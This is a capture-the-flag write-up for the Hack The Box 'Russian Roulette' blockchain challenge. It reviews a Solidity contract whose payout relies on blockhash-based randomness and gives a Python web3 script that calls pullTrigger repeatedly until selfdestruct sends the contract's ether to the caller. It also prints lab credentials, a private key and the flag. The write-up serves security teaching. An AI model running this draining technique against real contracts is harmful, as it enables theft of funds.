Russian Roulette Writeup - Cyber Apocalypse 2024
- 1 Introduction
- 2 Key techniques
- 3 Artifacts Summary
- 4 Reviewing the smart contract source code
- 5 Obtaining connection information
- 6 Challenge objective
- 7 Generating the ABI (Application Binary Interface)
- 8 Writing Python code to invoke the smart contracts
- 9 Pulling the trigger
- 10 Obtaining the flag
- 11 Conclusion
→ 1 Introduction
This writeup covers the Russian Roulette Blockchain challenge from the Hack The Box Cyber Apocalypse 2024 CTF, which was rated as having a ‘very easy’ difficulty. The challenge involved the basics of interacting with an Ethereum smart contract.
The description of the challenge is shown below.
→ 2 Key techniques
The key techniques employed in this writeup are:
- manual Solidity source code review
- invoking Ethereum smart contracts using Python and the web3 package
→ 3 Artifacts Summary
The downloaded artifact had the following hash:
$ shasum -a256 blockchain_russian_roulette.zip
0a44e39b3b85e123d66e9d1dda0c47bcf7d9c01fdbf16e070ecf660fc569ed4a blockchain_russian_roulette.zip
The zip file contained two Solidity source code files:
$ unzip blockchain_russian_roulette.zip
Archive: blockchain_russian_roulette.zip
creating: blockchain_russian_roulette/
inflating: blockchain_russian_roulette/RussianRoulette.sol
inflating: blockchain_russian_roulette/Setup.sol
$ shasum -a256 blockchain_russian_roulette/*
2853053b96828fbdcc5866806196c8ae259575abfe701091491a95da742371c9 blockchain_russian_roulette/RussianRoulette.sol
8aac64705576db4eb2538f6df554a5d8f41060fc08b4f0fee91706734e7616c9 blockchain_russian_roulette/Setup.sol
→ 4 Reviewing the smart contract source code
→ 4.1 Setup
The Setup
smart contract does the following:
- Line 1: declares the solidity version to compile with.
-
Line 9: Creates a
RussianRoulette
smart contract initialized with 10 ether -
Line 12: exposes a public
isSolved
view function that checks whether theRussianRoulette
contract has a balance of 0 ether
pragma solidity 0.8.23;
import {RussianRoulette} from "./RussianRoulette.sol";
contract Setup {
RussianRoulette public immutable TARGET;
constructor() payable {
TARGET = new RussianRoulette{value: 10 ether}();
}
function isSolved() public view returns (bool) {
return address(TARGET).balance == 0;
}
}
→ 4.2 RussianRoulette.sol
The RussianRoulette
smart contract does the
following:
- Line 1: declares the solidity version to compile with.
-
Line 9: exposes a public function
pullTrigger
that checks whether the hash of the previous block number modulus 10 has a remainder of 7. If it does, it destroys the contract, sending any remaining ether to the sender.
pragma solidity 0.8.23;
contract RussianRoulette {
constructor() payable {
// i need more bullets
}
function pullTrigger() public returns (string memory) {
if (uint256(blockhash(block.number - 1)) % 10 == 7) {
selfdestruct(payable(msg.sender)); // 💀
} else {
return "im SAFU ... for now";
}
}
}
→ 5 Obtaining connection information
Spawning docker for this challenge resulted in two ports on a single IP address:
- 94.237.62.99 58261 - management port for connection information and getting the flag
- 94.237.62.99 49769 - Ethereum HTTP provider endpoint
Connecting to the first one provided an option to retrieve connection information:
- Private key: the private key associated with our Ethereum externally-owned account for this challenge.
- Address: the address of our account.
-
Target contract: the address of the
RussianRoulette
smart contract -
Setup contract: the address of the
Setup
smart contract
$ nc -n -v 94.237.62.99 58261
(UNKNOWN) [94.237.62.99] 58261 (?) open
1 - Connection information
2 - Restart Instance
3 - Get flag
action? 1
Private key : 0xee01a2e62d9a11fb7a3433126ef802b169cb0d955053aaf0aa0818672b4bd945
Address : 0x7dcd075528c6c9A13D0bCf37D4035364287c7b1B
Target contract : 0x358e4ABbbc68adb209D66fd7df8D1e1787a46BC3
Setup contract : 0x2bb5BEF9e3D98Bd7d37F28FB2796Ca7838F64127
→ 6 Challenge objective
Based on the source code, the objective of the challenge is to invoke
the RussianRoulette
smart contract’s
pullTrigger
function repeatedly until the condition is
triggered that self destructs the contract. At this point, the ether
balance of the RussianRoulette
address will be 0, causing
the Setup
contract’s isSolved
function to
return true. Thus, the main lesson of this challenge is to learn how to
invoke smart contracts.
→ 7 Generating the ABI (Application Binary Interface)
In order to invoke a smart contract, you need the ABI (Application Binary Interface) for it. This was generated using Remix IDE but an alternative would be to do it programmatically.
-
The code was compiled:
-
The compilation result was downloaded:
-
The ABI was extracted from the downloaded JSON:
$ cat RussianRoulette_compData.json |jq '.abi' [ { "inputs": [], "stateMutability": "payable", "type": "constructor" }, { "inputs": [], "name": "pullTrigger", "outputs": [ { "internalType": "string", "name": "", "type": "string" } ], "stateMutability": "nonpayable", "type": "function" } ]
→ 8 Writing Python code to invoke the smart contracts
The web3 package can be used to interact with Ethereum. A virtual environment was created and the package installed:
$ python3 -mvenv venv
$ . ./venv/bin/activate
$ pip install web3
config.py
was created to contain all the connection
information. Also, line 3 converts the private key hex to a bytes
object, which will be needed by web3:
my_account_private_key_hex = 'ee01a2e62d9a11fb7a3433126ef802b169cb0d955053aaf0aa0818672b4bd945'
my_account_address = '0x7dcd075528c6c9A13D0bCf37D4035364287c7b1B'
my_account_private_key = bytes.fromhex(my_account_private_key_hex)
russian_roulette_contract_address = '0x358e4ABbbc68adb209D66fd7df8D1e1787a46BC3'
setup_contract_address = '0x2bb5BEF9e3D98Bd7d37F28FB2796Ca7838F64127'
provider_host = '94.237.62.99'
provider_port = 49769
transact.py
invokes the pullTrigger()
function, then the isSolved
function. Also, lines 16 and 37
contain the contract ABIs generated by Remix IDE.
#!/usr/bin/python3
from web3 import Web3, EthereumTesterProvider
# Config: My account details, contract addresses, http provider host and port
from config import *
# --------------------------------------------------------------------------------
# Construct web3 http provider.
w3 = Web3(Web3.HTTPProvider(f"http://{provider_host}:{provider_port}"))
# --------------------------------------------------------------------------------
# Contract ABIs
russian_roulette_abi = """[
{
"inputs": [],
"stateMutability": "payable",
"type": "constructor"
},
{
"inputs": [],
"name": "pullTrigger",
"outputs": [
{
"internalType": "string",
"name": "",
"type": "string"
}
],
"stateMutability": "nonpayable",
"type": "function"
}
]"""
setup_abi = """[
{
"inputs": [],
"stateMutability": "payable",
"type": "constructor"
},
{
"inputs": [],
"name": "TARGET",
"outputs": [
{
"internalType": "contract RussianRoulette",
"name": "",
"type": "address"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "isSolved",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "view",
"type": "function"
}
]"""
# --------------------------------------------------------------------------------
# Get contracts
russian_roulette_contract = w3.eth.contract(address=russian_roulette_contract_address, abi=russian_roulette_abi)
setup_contract = w3.eth.contract(address=setup_contract_address, abi=setup_abi)
# --------------------------------------------------------------------------------
def pull_trigger():
# Get the nonce associated with our account that is required for invoking contracts.
nonce = w3.eth.get_transaction_count(my_account_address)
# Build a transaction that invokes the pullTrigger function
russian_roulette_transaction = russian_roulette_contract.functions.pullTrigger().build_transaction({
'from': my_account_address,
'nonce': nonce,
'gas': 70000,
'maxFeePerGas': w3.to_wei('2', 'gwei'),
'maxPriorityFeePerGas': w3.to_wei('1', 'gwei'),
})
# Sign the contract with our account's private key
signed_txn = w3.eth.account.sign_transaction(russian_roulette_transaction, private_key=my_account_private_key)
transaction_hash: bytes = w3.eth.send_raw_transaction(signed_txn.rawTransaction)
print(f"pullTrigger transaction hash: {transaction_hash.hex()}")
transaction = w3.eth.get_transaction(transaction_hash)
print(f"transaction: {transaction}")
def is_solved():
# isSolved is a view function so you don't need to build a transaction (at least, I think
# that's why
solved: bool = setup_contract.functions.isSolved().call()
print(f"solved: {solved}")
pull_trigger()
is_solved()
→ 9 Pulling the trigger
The script was repeatedly run until solved was output as True. Alternatively, the script could have been implemented to contain a loop.
$ python3 transact.py
pullTrigger transaction hash: 0x2544c6c72f83a3dea8076575994d1c5ffe511f7ad1965252effe6f3a8719d7ee
transaction: AttributeDict({'hash': HexBytes('0x2544c6c72f83a3dea8076575994d1c5ffe511f7ad1965252effe6f3a8719d7ee'),
'nonce': 6, 'blockHash': HexBytes('0xbf2b5e01c8065b790aaea21130f55eafde1dc5b75d02f50305a6d104d9ec6c44'), 'blockNumbe
r': 8, 'transactionIndex': 0, 'from': '0x7dcd075528c6c9A13D0bCf37D4035364287c7b1B', 'to': '0x358e4ABbbc68adb209D66fd
7df8D1e1787a46BC3', 'value': 0, 'gasPrice': 1000000000, 'gas': 70000, 'maxFeePerGas': 2000000000, 'maxPriorityFeePer
Gas': 1000000000, 'input': HexBytes('0x61a30da6'), 'r': HexBytes('0xdc8dd4f9059d702201e4bed8e64e41040d7732358b87c444
73de4ee2e4384388'), 's': HexBytes('0x10ee706b1dbc7a853b727a039819dedcdbffbf83070bc3479167aa36584158d7'), 'v': 1, 'yP
arity': 1, 'chainId': 31337, 'accessList': [], 'type': 2})
solved: True
→ 10 Obtaining the flag
The flag was obtained by connecting to the management endpoint and selecting the “Get flag” option:
$ nc -n -v 94.237.62.99 58261
(UNKNOWN) [94.237.62.99] 58261 (?) open
1 - Connection information
2 - Restart Instance
3 - Get flag
action? 3
HTB{99%_0f_g4mbl3rs_quit_b4_bigwin}
→ 11 Conclusion
The flag was submitted and the challenge was marked as pwned